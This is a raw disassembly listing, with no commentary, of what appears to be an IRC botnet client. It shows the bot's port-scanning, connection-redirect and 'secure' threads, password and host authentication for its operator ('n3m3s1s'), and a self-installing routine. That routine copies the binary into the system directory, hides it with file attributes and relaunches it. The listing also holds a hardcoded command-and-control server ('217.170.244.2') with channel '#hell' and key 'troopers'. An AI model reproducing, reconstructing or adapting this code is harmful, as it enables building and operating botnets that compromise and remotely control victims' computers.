		push	offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan,	no IP spe"...
		jmp	loc_40DE22
; ---------------------------------------------------------------------------


loc_40E2E7:				; CODE XREF: sub_408A18+58B1j
					; sub_408A18+58BAj ...
		push	10h
		pop	esi
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+arg_4]
		mov	[ebp+var_28], esi
		call	dword_435760	; getsockname
		mov	al, [ebp+var_45B]
		neg	al
		push	esi
		sbb	eax, eax
		and	eax, 0FFFF0100h
		add	eax, 0FFFFh
		and	[ebp+var_D4], eax
		push	[ebp+var_D4]
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_68C]
		push	eax
		call	sub_414670
		add	esp, 0Ch
		cmp	[ebp+var_44A], 0
		jz	short loc_40E396
		xor	eax, eax
		cmp	[ebp+var_45B], al
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_68C]
		push	eax
		call	sub_414640
		and	byte ptr [ebp+arg_0+3],	0
		cmp	esi, edi
		pop	ecx
		pop	ecx
		jle	short loc_40E38A


loc_40E368:				; CODE XREF: sub_408A18+5970j
		cmp	eax, edi
		jz	short loc_40E38A
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_68C]
		push	30h
		push	eax
		call	sub_414640
		inc	byte ptr [ebp+arg_0+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_0+3]
		cmp	ecx, esi
		jl	short loc_40E368


loc_40E38A:				; CODE XREF: sub_408A18+594Ej
					; sub_408A18+5952j
		mov	[ebp+var_4C8], 1
		jmp	short loc_40E39C
; ---------------------------------------------------------------------------


loc_40E396:				; CODE XREF: sub_408A18+5927j
		mov	[ebp+var_4C8], edi


loc_40E39C:				; CODE XREF: sub_408A18+584Fj
					; sub_408A18+597Cj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_A0]
		mov	[ebp+var_4F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4D0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4CC], eax
		mov	esi, 80h
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41483D
		mov	ebx, [ebp+ebx+var_90]
		add	esp, 0Ch
		cmp	ebx, edi
		jz	short loc_40E3F0
		push	ebx


loc_40E3DE:				; CODE XREF: sub_408A18+59E5j
		push	esi


loc_40E3DF:				; CODE XREF: sub_408A18+5A02j
		lea	eax, [ebp+var_578]
		push	eax
		call	sub_41483D
		add	esp, 0Ch
		jmp	short loc_40E423
; ---------------------------------------------------------------------------


loc_40E3F0:				; CODE XREF: sub_408A18+59C3j
		mov	eax, [ebp+var_1C]
		cmp	eax, edi
		jz	short loc_40E3FF
		cmp	byte ptr [eax],	23h
		jnz	short loc_40E3FF
		push	eax
		jmp	short loc_40E3DE
; ---------------------------------------------------------------------------


loc_40E3FF:				; CODE XREF: sub_408A18+59DDj
					; sub_408A18+59E2j
		xor	ecx, ecx
		mov	eax, offset aMurders ; "#murders"
		inc	ecx
		mov	edi, 420AEAh
		mov	esi, eax
		xor	edx, edx
		repe cmpsb
		jz	short loc_40E41C
		push	eax
		push	80h
		jmp	short loc_40E3DF
; ---------------------------------------------------------------------------


loc_40E41C:				; CODE XREF: sub_408A18+59FAj
		and	[ebp+var_578], 0


loc_40E423:				; CODE XREF: sub_408A18+59D6j
		xor	esi, esi
		cmp	[ebp+var_4C8], esi
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_40E437
		mov	eax, offset aSequential	; "Sequential"


loc_40E437:				; CODE XREF: sub_408A18+5A18j
		push	[ebp+var_4DC]
		lea	ecx, [ebp+var_68C]
		push	[ebp+var_4EC]
		push	[ebp+var_4F0]
		push	[ebp+var_4F4]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d	w"...
		push	eax
		call	sub_4145E5
		push	esi
		lea	eax, [ebp+var_2F0]
		push	9
		push	eax
		call	sub_412471
		add	esp, 2Ch
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		lea	eax, [ebp+var_68C]
		push	eax
		push	offset sub_401B9D
		push	esi
		push	esi
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_4E8]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_436694[ecx], eax
		jnz	short loc_40E4E1
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"...


loc_40E4BB:				; CODE XREF: sub_408A18+5529j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40E4CA:				; CODE XREF: sub_408A18+40D2j
					; sub_408A18+553Ej ...
		cmp	[ebp+var_8], esi
		jnz	loc_40DA31
		push	esi
		jmp	loc_40DA16
; ---------------------------------------------------------------------------


loc_40E4D9:				; CODE XREF: sub_408A18+5ACFj
		push	32h
		call	ds:dword_420000	; Sleep


loc_40E4E1:				; CODE XREF: sub_408A18+5A95j
		cmp	[ebp+var_4C4], esi
		jz	short loc_40E4D9
		jmp	short loc_40E4CA
; ---------------------------------------------------------------------------


loc_40E4EB:				; CODE XREF: sub_408A18+D0Cj
					; sub_408A18+D20j
		push	[ebp+ebx+var_A4]
		xor	eax, eax
		cmp	[ebp+var_44C], al
		setnz	al
		push	eax
		push	dword_42BED8
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40FD06
		lea	eax, [ebp+var_3BC]
		push	eax
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		lea	eax, [ebp+var_3BC]
		push	eax
		push	offset aMainRandomNick ; "[MAIN]: Random nick change: %s"
		call	sub_401F73


loc_40E535:				; CODE XREF: sub_408A18+5237j
		add	esp, 24h


loc_40E538:				; CODE XREF: sub_408A18+738j
					; sub_408A18+744j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_408C99
; ---------------------------------------------------------------------------


loc_40E540:				; CODE XREF: sub_408A18+7C2j
					; sub_408A18+7D6j
		mov	ebx, [ebp+ebx+var_A4]
		test	ebx, ebx
		mov	[ebp+var_C], ebx
		jz	loc_408C96
		cmp	[ebp+var_1C], 0
		jnz	loc_408C96
		push	offset asc_427A38 ; "!"
		push	[ebp+var_A8]
		call	sub_415459
		mov	esi, eax
		push	offset dword_425BC0
		push	0
		inc	esi
		call	sub_415459
		push	offset asc_425BBC ; "~"
		push	eax
		call	sub_415459
		mov	edi, [ebp+var_C]
		mov	ebx, eax
		add	esp, 18h
		mov	eax, offset aN3m3s1s ; "n3m3s1s"


loc_40E593:				; CODE XREF: sub_408A18+5B97j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_40E5B5
		test	cl, cl
		jz	short loc_40E5B1
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_40E5B5
		inc	eax
		inc	eax
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40E593


loc_40E5B1:				; CODE XREF: sub_408A18+5B85j
		xor	eax, eax
		jmp	short loc_40E5BA
; ---------------------------------------------------------------------------


loc_40E5B5:				; CODE XREF: sub_408A18+5B81j
					; sub_408A18+5B8Fj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_40E5BA:				; CODE XREF: sub_408A18+5B9Bj
		test	eax, eax
		jz	short loc_40E609
		push	ebx
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_4056B0
		push	ebx
		push	esi
		push	offset aMainFailedPass ; "[MAIN]: *Failed pass auth by:	(%s!%s)."


loc_40E5F5:				; CODE XREF: sub_408A18+5C44j
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4145E5
		add	esp, 30h
		jmp	loc_40DA31
; ---------------------------------------------------------------------------


loc_40E609:				; CODE XREF: sub_408A18+5BA4j
		xor	edi, edi


loc_40E60B:				; CODE XREF: sub_408A18+5C0Bj
		push	ebx
		push	off_42BFB0[edi]
		call	sub_412B6F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40E65E
		add	edi, 4
		cmp	edi, 4
		jb	short loc_40E60B
		push	ebx
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_4056B0
		push	ebx
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."
		jmp	short loc_40E5F5
; ---------------------------------------------------------------------------


loc_40E65E:				; CODE XREF: sub_408A18+5C03j
		mov	edx, [ebp+arg_18]
		xor	eax, eax


loc_40E663:				; CODE XREF: sub_408A18+5C8Dj
		cmp	byte ptr [edx],	0
		jnz	short loc_40E69B
		mov	edi, [ebp+var_C]
		mov	esi, offset aN3m3s1s ; "n3m3s1s"


loc_40E670:				; CODE XREF: sub_408A18+5C74j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [edi]
		jnz	short loc_40E692
		test	cl, cl
		jz	short loc_40E68E
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [edi+1]
		jnz	short loc_40E692
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_40E670


loc_40E68E:				; CODE XREF: sub_408A18+5C62j
		xor	ecx, ecx
		jmp	short loc_40E697
; ---------------------------------------------------------------------------


loc_40E692:				; CODE XREF: sub_408A18+5C5Ej
					; sub_408A18+5C6Cj
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_40E697:				; CODE XREF: sub_408A18+5C78j
		test	ecx, ecx
		jz	short loc_40E6AC


loc_40E69B:				; CODE XREF: sub_408A18+5C4Ej
		inc	eax
		add	edx, 80h
		cmp	eax, 2
		jl	short loc_40E663
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40E6AC:				; CODE XREF: sub_408A18+5C81j
		shl	eax, 7
		add	eax, [ebp+arg_18]
		push	7Fh
		lea	ecx, [ebp+var_B40]
		push	ecx
		push	eax
		call	sub_414670
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jnz	short loc_40E6E5
		push	0
		push	[ebp+var_4]
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	[ebp+var_A0]
		push	[ebp+arg_4]
		call	sub_4056FB
		add	esp, 14h


loc_40E6E5:				; CODE XREF: sub_408A18+5CB0j
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aMainUserSLog_1 ; "[MAIN]: User:	%s logged in."


loc_40E6F1:				; CODE XREF: sub_408A18+6F5j
					; sub_408A18+4A64j ...
		call	sub_401F73
		pop	ecx


loc_40E6F7:				; CODE XREF: sub_408A18+36C6j
		pop	ecx
		jmp	loc_408C96
; ---------------------------------------------------------------------------


loc_40E6FD:				; CODE XREF: sub_408A18+1FAj
					; sub_408A18+20Dj
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	offset aIx	; "+ix"
		push	[ebp+arg_10]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_4056B0
		xor	eax, eax
		add	esp, 2Ch
		inc	eax
		mov	dword_47BF04, eax
		jmp	loc_408C99
sub_408A18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E745	proc near		; CODE XREF: .text:00416465p

var_98C		= byte ptr -98Ch
var_888		= byte ptr -888h
var_887		= byte ptr -887h
var_6F8		= byte ptr -6F8h
var_5F8		= byte ptr -5F8h
var_4F8		= byte ptr -4F8h
var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_1EC		= byte ptr -1ECh
var_E8		= byte ptr -0E8h
var_68		= dword	ptr -68h
var_5C		= dword	ptr -5Ch
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98Ch
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], offset sub_402E99
		push	[ebp+var_8]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, ds:dword_420004
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_47BEF8, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_414794
		pop	ecx
		call	sub_4057AC
		push	2
		call	dword_4357C0	; SetErrorMode
		push	7530h
		push	offset aBot016	; "Bot016"
		push	ebx
		push	ebx
		call	ds:dword_420104	; CreateMutexA
		push	eax
		call	ds:dword_420100	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E7C4
		push	1
		jmp	loc_40EA24
; ---------------------------------------------------------------------------


loc_40E7C4:				; CODE XREF: sub_40E745+76j
		lea	eax, [ebp+var_888]
		push	eax
		push	202h
		call	dword_4357F8	; WSAStartup
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	loc_40EC91
		cmp	[ebp+var_888], 2
		jnz	loc_40EC8B
		cmp	[ebp+var_887], 2
		jnz	loc_40EC8B
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		call	ds:dword_420048	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_2F0]
		push	eax
		push	ebx
		call	ds:dword_4200A4	; GetModuleHandleA
		push	eax
		call	ds:dword_420010	; GetModuleFileNameA
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	eax
		call	sub_415D0D
		lea	eax, [ebp+var_5F8]
		push	eax
		lea	eax, [ebp+var_6F8]
		push	eax
		push	offset aSS	; "%s%s"
		lea	eax, [ebp+var_4F8]
		push	esi
		push	eax
		call	sub_41483D
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4150B0
		add	esp, 30h
		test	eax, eax
		jnz	loc_40EA2A
		cmp	dword_47BEFC, ebx
		mov	esi, offset byte_42BF44
		jz	short loc_40E8CC
		mov	eax, esi
		xor	edi, edi
		lea	ecx, [eax+1]


loc_40E892:				; CODE XREF: sub_40E745+152j
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40E892
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		test	eax, eax
		jbe	short loc_40E8CC


loc_40E8A2:				; CODE XREF: sub_40E745+185j
		call	sub_4147A1
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		mov	eax, esi
		lea	ecx, [eax+1]
		add	dl, 61h
		mov	byte_42BF44[edi], dl
		inc	edi


loc_40E8BC:				; CODE XREF: sub_40E745+17Cj
		mov	dl, [eax]
		inc	eax
		cmp	dl, bl
		jnz	short loc_40E8BC
		sub	eax, ecx
		add	eax, 0FFFFFFFAh
		cmp	edi, eax
		jb	short loc_40E8A2


loc_40E8CC:				; CODE XREF: sub_40E745+144j
					; sub_40E745+15Bj
		push	esi
		lea	eax, [ebp+var_3F4]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	offset aSS_0	; "%s\\%s"
		push	eax
		call	sub_4145E5
		add	esp, 10h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_4200A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E90C
		push	80h
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_4200CC	; SetFileAttributesA


loc_40E90C:				; CODE XREF: sub_40E745+1B3j
		mov	esi, ds:dword_420000
		push	7D0h
		call	esi	; Sleep
		mov	edi, ds:dword_4200FC
		mov	[ebp+var_4], ebx
		jmp	short loc_40E947
; ---------------------------------------------------------------------------


loc_40E924:				; CODE XREF: sub_40E745+215j
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	[ebp+var_4], ebx
		jnz	short loc_40E95C
		cmp	eax, 20h
		jz	short loc_40E939
		cmp	eax, 5
		jnz	short loc_40E95C


loc_40E939:				; CODE XREF: sub_40E745+1EDj
		push	3A98h
		mov	[ebp+var_4], 1
		call	esi	; Sleep


loc_40E947:				; CODE XREF: sub_40E745+1DDj
		push	ebx
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	eax
		call	edi	; CopyFileA
		test	eax, eax
		jz	short loc_40E924


loc_40E95C:				; CODE XREF: sub_40E745+1E8j
					; sub_40E745+1F2j
		lea	eax, [ebp+var_1EC]
		push	eax
		call	sub_40696D
		pop	ecx
		push	7
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_4200CC	; SetFileAttributesA
		xor	eax, eax
		lea	edi, [ebp+var_24]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		xor	edi, edi
		inc	edi
		mov	[ebp+var_5C], 420AEAh
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], edi
		mov	[ebp+var_38], bx
		call	ds:dword_4200F8	; GetCurrentProcessId
		push	eax
		push	edi
		push	100000h
		call	ds:dword_420078	; OpenProcess
		lea	ecx, [ebp+var_2F0]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		lea	eax, [ebp+var_98C]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax
		call	sub_4145E5
		add	esp, 14h
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	eax
		push	ebx
		push	28h
		push	edi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_98C]
		push	eax
		lea	eax, [ebp+var_1EC]
		push	eax
		call	ds:dword_420038	; CreateProcessA
		test	eax, eax
		jz	short loc_40EA30
		push	0C8h
		call	esi	; Sleep
		push	[ebp+var_24]
		mov	esi, ds:dword_42003C
		call	esi	; CloseHandle
		push	[ebp+var_20]
		call	esi	; CloseHandle
		call	dword_435900	; WSACleanup
		push	ebx


loc_40EA24:				; CODE XREF: sub_40E745+7Aj
		call	ds:dword_420034	; ExitProcess


loc_40EA2A:				; CODE XREF: sub_40E745+133j
		mov	esi, ds:dword_420000


loc_40EA30:				; CODE XREF: sub_40E745+2BFj
		cmp	dword_47C1B8, 2
		jle	short loc_40EA78
		mov	eax, dword_47C1BC
		push	dword ptr [eax+4]
		call	sub_414972
		pop	ecx
		mov	edi, eax
		push	0FFFFFFFFh
		push	edi
		call	ds:dword_420100	; WaitForSingleObject
		push	edi
		call	ds:dword_42003C	; CloseHandle
		mov	eax, dword_47C1BC
		cmp	[eax+8], ebx
		jz	short loc_40EA78
		push	7D0h
		call	esi	; Sleep
		mov	eax, dword_47C1BC
		push	dword ptr [eax+8]
		call	ds:dword_4200E4	; DeleteFileA


loc_40EA78:				; CODE XREF: sub_40E745+2F2j
					; sub_40E745+31Cj
		cmp	dword_42BECC, ebx
		jz	short loc_40EA95
		cmp	dword_435948, ebx
		jnz	short loc_40EA95
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_40213F
		pop	ecx


loc_40EA95:				; CODE XREF: sub_40E745+339j
					; sub_40E745+341j
		lea	eax, [ebp+var_E8]
		push	offset aMainBotStarted ; "[MAIN]: Bot started."
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	ebx
		push	eax
		call	sub_412471
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401EFF
		xor	eax, eax
		mov	ecx, 2E0h
		mov	edi, offset dword_47B378
		rep stosd
		lea	eax, [ebp+var_E8]
		push	offset aSecureSystemSe ; "[SECURE]: System secure monitor active."...
		push	eax
		call	sub_4145E5
		push	ebx
		lea	eax, [ebp+var_E8]
		push	1Ah
		push	eax
		call	sub_412471
		add	esp, 2Ch
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41055B
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		imul	edi, 234h
		cmp	eax, ebx
		mov	dword_436694[edi], eax
		jnz	short loc_40EB31
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_E8]
		push	offset aSecureFailedTo ; "[SECURE]: Failed to start secure thread"...
		push	eax
		call	sub_4145E5
		add	esp, 0Ch


loc_40EB31:				; CODE XREF: sub_40E745+3CFj
		lea	eax, [ebp+var_E8]
		push	eax
		call	sub_401EFF
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_47B214
		mov	dword_47BF08, ebx
		call	sub_414670
		mov	eax, dword_42BEB0
		push	3Fh
		push	offset aHell	; "#hell"
		mov	esi, offset dword_47B294
		push	esi
		mov	dword_47B364, eax
		call	sub_414670
		push	3Fh
		push	offset aTroopers ; "troopers"
		mov	edi, offset dword_47B2D4
		push	edi
		call	sub_414670
		add	esp, 28h
		mov	dword_47B368, ebx


loc_40EB8B:				; CODE XREF: sub_40E745+4ECj
					; sub_40E745+4F7j ...
		mov	[ebp+var_4], ebx


loc_40EB8E:				; CODE XREF: sub_40E745+4A0j
		cmp	dword_435960, ebx
		jnz	short loc_40EBAC
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_435770	; InternetGetConnectedState
		test	eax, eax
		jnz	short loc_40EBAC
		push	7530h
		jmp	short loc_40EBD8
; ---------------------------------------------------------------------------


loc_40EBAC:				; CODE XREF: sub_40E745+44Fj
					; sub_40E745+45Ej
		push	offset dword_47B210
		mov	dword_47BF04, ebx
		call	sub_4088B9
		cmp	eax, 2
		mov	[ebp+var_8], eax
		jz	loc_40EC86
		cmp	dword_47BF04, ebx
		jz	short loc_40EBD3
		dec	[ebp+var_4]


loc_40EBD3:				; CODE XREF: sub_40E745+489j
		push	0BB8h


loc_40EBD8:				; CODE XREF: sub_40E745+465j
		call	ds:dword_420000	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jl	short loc_40EB8E
		cmp	[ebp+var_8], 2
		jz	loc_40EC86
		cmp	[ebp+var_C], ebx
		jz	short loc_40EC36
		push	7Fh
		push	offset a217_170_244_2 ;	"217.170.244.2"
		push	offset dword_47B214
		call	sub_414670
		mov	eax, dword_42BEB0
		push	3Fh
		push	offset aHell	; "#hell"
		push	esi
		mov	dword_47B364, eax
		call	sub_414670
		push	3Fh
		push	offset aTroopers ; "troopers"
		push	edi
		call	sub_414670
		add	esp, 24h
		mov	[ebp+var_C], ebx
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EC36:				; CODE XREF: sub_40E745+4AFj
		cmp	byte_42BF20, bl
		jz	loc_40EB8B
		push	7Fh
		push	offset byte_42BF20
		push	offset dword_47B214
		call	sub_414670
		mov	eax, dword_42BEB4
		push	3Fh
		push	offset dword_42BF30
		push	esi
		mov	dword_47B364, eax
		call	sub_414670
		push	3Fh
		push	offset aTroopers_0 ; "troopers"
		push	edi
		call	sub_414670
		add	esp, 24h
		mov	[ebp+var_C], 1
		jmp	loc_40EB8B
; ---------------------------------------------------------------------------


loc_40EC86:				; CODE XREF: sub_40E745+47Dj
					; sub_40E745+4A6j
		call	sub_4125E2


loc_40EC8B:				; CODE XREF: sub_40E745+A3j
					; sub_40E745+B0j
		call	dword_435900	; WSACleanup


loc_40EC91:				; CODE XREF: sub_40E745+96j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_40E745	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40EC9A	proc near		; DATA XREF: sub_40ED35+12Co

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	ebx, 1000h
		jmp	short loc_40ECEF
; ---------------------------------------------------------------------------


loc_40ECD4:				; CODE XREF: sub_40EC9A+7Bj
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_43668C[esi]
		call	dword_43587C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40ED17


loc_40ECEF:				; CODE XREF: sub_40EC9A+38j
		xor	eax, eax
		push	eax
		lea	edi, [ebp+var_1128]
		mov	ecx, 400h
		rep stosd
		push	ebx
		lea	eax, [ebp+var_1128]
		push	eax
		push	dword_436690[esi]
		call	dword_43575C	; recv
		test	eax, eax
		jg	short loc_40ECD4


loc_40ED17:				; CODE XREF: sub_40EC9A+53j
		push	dword_436690[esi]
		call	dword_4358F4	; closesocket
		push	[ebp+var_14]
		call	sub_412735
		pop	ecx
		push	0
		call	ds:dword_420014	; ExitThread
		int	3		; Trap to Debugger
sub_40EC9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40ED35	proc near		; DATA XREF: sub_40EF12+118o

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_414800
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_144]
		rep movsd
		mov	esi, [ebp+var_30]
		xor	ecx, ecx
		inc	ecx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		mov	[ebp+var_4], esi
		call	dword_4357E8	; socket
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_40EE94
		push	[ebp+var_3C]
		xor	eax, eax
		lea	edi, [ebp+var_18]
		stosd
		stosd
		stosd
		stosd
		mov	[ebp+var_18], 2
		call	dword_435934	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_43585C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_40EDBD
		lea	eax, [ebp+var_13C]
		push	eax
		call	dword_435848	; gethostbyname
		jmp	short loc_40EDCB
; ---------------------------------------------------------------------------


loc_40EDBD:				; CODE XREF: sub_40ED35+77j
		push	2
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4358D8	; gethostbyaddr


loc_40EDCB:				; CODE XREF: sub_40ED35+86j
		cmp	eax, ebx
		jz	loc_40EE94
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		push	10h
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	dword_4357A0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EE94
		push	[ebp+var_34]
		movzx	eax, [ebp+var_16]
		push	eax
		push	[ebp+var_14]
		mov	[ebp+var_20], ebx
		call	dword_435868	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset aRedirectClient ; "[REDIRECT]: Client connection	to IP: %s"...
		push	eax
		call	sub_4145E5
		push	[ebp+arg_0]
		lea	eax, [ebp+var_344]
		push	11h
		push	eax
		call	sub_412471
		imul	esi, 234h
		mov	ecx, [ebp+var_34]
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	dword_436684[eax], ecx
		add	esp, 20h
		lea	esi, dword_43668C[esi]
		mov	ecx, [esi]
		mov	dword_436690[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_144]
		push	eax
		push	offset sub_40EC9A
		push	ebx
		push	ebx
		call	ds:dword_42000C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_436694[ecx], eax
		jnz	short loc_40EECA
		call	ds:dword_420008	; RtlGetLastWin32Error
		push	eax
		push	offset aRedirectFail_0 ; "[REDIRECT]: Failed to	start connection "...
		call	sub_401F73
		pop	ecx
		pop	ecx


loc_40EE94:				; CODE XREF: sub_40ED35+42j
					; sub_40ED35+98j ...
